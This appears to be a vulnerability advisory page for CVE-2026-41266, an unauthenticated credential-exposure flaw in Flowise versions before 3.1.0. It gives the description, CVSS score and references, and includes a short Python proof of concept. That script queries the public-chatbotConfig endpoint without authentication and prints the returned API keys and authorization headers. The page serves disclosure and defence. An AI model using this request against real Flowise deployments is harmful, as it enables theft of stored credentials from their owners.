CVE-2026-41266

Description

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, /api/v1/public-chatbotConfig/:id ep exposes sensitive data including API keys, HTTP authorization headers and internal configuration without any authentication. An attacker with knowledge just of a chatflow UUID can retrieve credentials stored in password type fields and HTTP headers, leading to credential theft and more. This vulnerability is fixed in 3.1.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:* - VULNERABLE

Flowise < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-41266 Proof of Concept
# Target Flowise instance and a valid Chatflow UUID are required
target_base_url = "http://<target-ip>:3000"
chatflow_uuid = "<valid-chatflow-uuid>"

# The vulnerable endpoint
vulnerable_endpoint = f"{target_base_url}/api/v1/public-chatbotConfig/{chatflow_uuid}"

try:
    # Send GET request without authentication headers
    response = requests.get(vulnerable_endpoint, timeout=10)

    if response.status_code == 200:
        print("[!] Vulnerability Confirmed!")
        print("[+] Sensitive data retrieved:")
        print(response.text)
        # Parsed JSON will contain apiKeys, httpHeaders, etc.
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41266
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41266
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41266/
[4] VulDB https://vuldb.com/cve/CVE-2026-41266
[5] https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4jpm-cgx2-8h37
[6] https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4jpm-cgx2-8h37

Raw JSON Data

JSON

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